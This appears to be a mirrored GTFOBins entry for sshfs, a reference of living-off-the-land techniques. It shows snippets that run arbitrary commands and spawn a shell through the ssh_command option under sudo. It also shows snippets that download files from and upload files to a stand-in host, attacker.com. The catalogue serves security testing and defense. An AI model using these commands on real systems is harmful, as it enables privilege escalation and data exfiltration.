mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
35 lines
842 B
Plaintext
35 lines
842 B
Plaintext
---
|
|
functions:
|
|
command:
|
|
- blind: true
|
|
code: |-
|
|
sshfs -o ssh_command=/path/to/command x: /path/to/dir/
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
download:
|
|
- code: |-
|
|
sshfs user@attacker.com:/ /path/to/dir/
|
|
cp /path/to/dir/path/to/input-file /path/to/output-file
|
|
contexts:
|
|
unprivileged:
|
|
sender: ssh-server
|
|
shell:
|
|
- code: |-
|
|
echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
|
|
chmod +x /path/to/temp-file
|
|
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
|
|
comment: |-
|
|
The mount dir must be writable by the invoking user.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
upload:
|
|
- code: |-
|
|
sshfs user@attacker.com:/ /path/to/dir/
|
|
cp /path/to/input-file /path/to/dir/
|
|
contexts:
|
|
unprivileged:
|
|
receiver: ssh-server
|
|
...
|